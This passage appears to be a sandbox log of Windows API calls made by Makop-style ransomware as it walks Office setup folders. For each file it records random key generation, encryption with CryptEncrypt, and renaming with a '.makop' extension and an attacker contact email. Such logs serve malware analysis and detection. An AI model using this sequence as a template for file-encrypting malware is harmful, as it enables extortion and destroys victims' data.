lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0093.118] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0093.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.120] GetProcessHeap () returned 0x48a0000 [0093.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.120] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.120] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xb, lpOverlapped=0x0) returned 1 [0093.124] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.124] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.124] GetProcessHeap () returned 0x48a0000 [0093.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.124] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.124] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.124] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.125] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.125] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.125] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.125] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.126] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.126] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x1915, lpOverlapped=0x0) returned 1 [0093.127] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x1920, dwBufLen=0x1920 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x1920) returned 1 [0093.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.127] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x1920, lpOverlapped=0x0) returned 1 [0093.128] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.128] SetEndOfFile (hFile=0x114) returned 1 [0093.135] GetProcessHeap () returned 0x48a0000 [0093.135] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.136] GetProcessHeap () returned 0x48a0000 [0093.136] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.136] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 148 [0093.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.137] CloseHandle (hObject=0x114) returned 1 [0093.137] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.137] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0093.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.139] GetProcessHeap () returned 0x48a0000 [0093.139] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.139] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.139] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x5, lpOverlapped=0x0) returned 1 [0093.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.143] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.143] GetProcessHeap () returned 0x48a0000 [0093.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.144] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.144] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.144] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.144] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.144] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.144] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.145] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.146] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.146] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x412b, lpOverlapped=0x0) returned 1 [0093.149] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x4130, dwBufLen=0x4130 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x4130) returned 1 [0093.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.150] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x4130, lpOverlapped=0x0) returned 1 [0093.150] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.150] SetEndOfFile (hFile=0x114) returned 1 [0093.156] GetProcessHeap () returned 0x48a0000 [0093.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.156] GetProcessHeap () returned 0x48a0000 [0093.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.157] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 144 [0093.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.158] CloseHandle (hObject=0x114) returned 1 [0093.158] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0093.158] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.158] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0093.158] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us") returned 93 [0093.158] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*") returned 97 [0093.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.176] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.177] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0093.177] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0093.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.177] GetProcessHeap () returned 0x48a0000 [0093.177] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.177] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.178] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.181] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.181] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.181] GetProcessHeap () returned 0x48a0000 [0093.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.181] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.182] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.182] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.182] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.182] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.182] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.182] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.183] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.183] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5ac, lpOverlapped=0x0) returned 1 [0093.183] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0) returned 1 [0093.184] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.184] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5b0, lpOverlapped=0x0) returned 1 [0093.184] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.184] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.184] SetEndOfFile (hFile=0x114) returned 1 [0093.190] GetProcessHeap () returned 0x48a0000 [0093.190] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.190] GetProcessHeap () returned 0x48a0000 [0093.190] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.190] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 155 [0093.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.192] CloseHandle (hObject=0x114) returned 1 [0093.192] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.192] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0093.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.193] GetProcessHeap () returned 0x48a0000 [0093.193] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.193] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.193] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.193] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.193] GetProcessHeap () returned 0x48a0000 [0093.193] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.193] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.194] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.194] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.197] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.197] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, 